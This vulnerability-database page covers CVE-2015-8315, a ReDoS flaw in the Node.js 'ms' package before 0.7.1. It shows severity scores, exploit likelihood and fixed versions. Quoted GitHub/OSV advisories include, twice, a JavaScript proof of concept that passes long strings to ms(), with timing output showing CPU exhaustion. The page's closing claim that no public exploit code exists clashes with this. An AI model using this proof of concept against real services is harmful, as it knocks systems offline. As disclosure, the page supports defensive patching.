Every CVE Search/ Get API key

CVE-2015-8315

Regular Expression Denial of Service in ms

7.5 HighFix available

The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a "regular expression denial of service (ReDoS)."

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

6.95%Up 5.9 points since Feb 4, 2022
90%50%10%1%

What each source reports

NVD Score used 7.5

The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a "regular expression denial of service (ReDoS)."

Record
CVE-2015-8315
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
7.8 HighAV:N/AC:L/Au:N/C:N/I:N/A:C
Weakness
CWE-1333
Updated
2026-11-02
CVE List 7.5

The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a "regular expression denial of service (ReDoS)."

Record
CVE-2015-8315
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
EUVDEUVD-2017-0156 7.5

The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a "regular expression denial of service (ReDoS)."

Record
EUVD-2017-0156
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-3fx5-fwvr-xrjg 7.5

Regular Expression Denial of Service in ms

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real	0m0.758s
user	0m0.724s
sys	0m0.031s

$ time node ms.js 20000

real	0m2.580s
user	0m2.494s
sys	0m0.047s

$ time node ms.js 30000

real	0m5.747s
user	0m5.483s
sys	0m0.080s

$ time node ms.js 80000

real	0m41.022s
user	0m38.894s
sys	0m0.529s
Record
GHSA-3fx5-fwvr-xrjg
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-1333
Updated
2026-11-02
OSVGHSA-3fx5-fwvr-xrjg 7.5

Regular Expression Denial of Service in ms

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real	0m0.758s
user	0m0.724s
sys	0m0.031s

$ time node ms.js 20000

real	0m2.580s
user	0m2.494s
sys	0m0.047s

$ time node ms.js 30000

real	0m5.747s
user	0m5.483s
sys	0m0.080s

$ time node ms.js 80000

real	0m41.022s
user	0m38.894s
sys	0m0.529s
Record
GHSA-3fx5-fwvr-xrjg
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333, CWE-400
Updated
2026-11-02
OSVCLSA-2026-1773360975 No score

TuxCare security update for ms (2 CVEs)

TuxCare rebuilt ms to address 2 CVEs. Fixed in 0.3.0-tuxcare.1.

Record
CLSA-2026-1773360975
Updated
2026-11-02
OSVCLSA-2026-1784682956 No score

TuxCare security update for ms (2 CVEs)

TuxCare rebuilt ms to address 2 CVEs. Fixed in 0.6.2-tuxcare.1.

Record
CLSA-2026-1784682956
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
ms
npm
before 0.7.1
0.7.1
ms
TuxCare:npm
From an advisory covering 2 CVEs
0.3.0-tuxcare.0 up to 0.3.0-tuxcare.1, plus listed versions
0.3.0
0.3.0-tuxcare.1
ms
TuxCare:npm
From an advisory covering 2 CVEs
0.6.2-tuxcare.0 up to 0.6.2-tuxcare.1, plus listed versions
0.6.2
0.6.2-tuxcare.1

History

History
RecordedChangedSources
affected, facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2015-8315 is a high vulnerability (CVSS 7.5) in Vercel Ms, published January 23, 2017. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 6.95%, the 94th percentile. Fixed in ms 0.7.1.

References

MoveEnter Open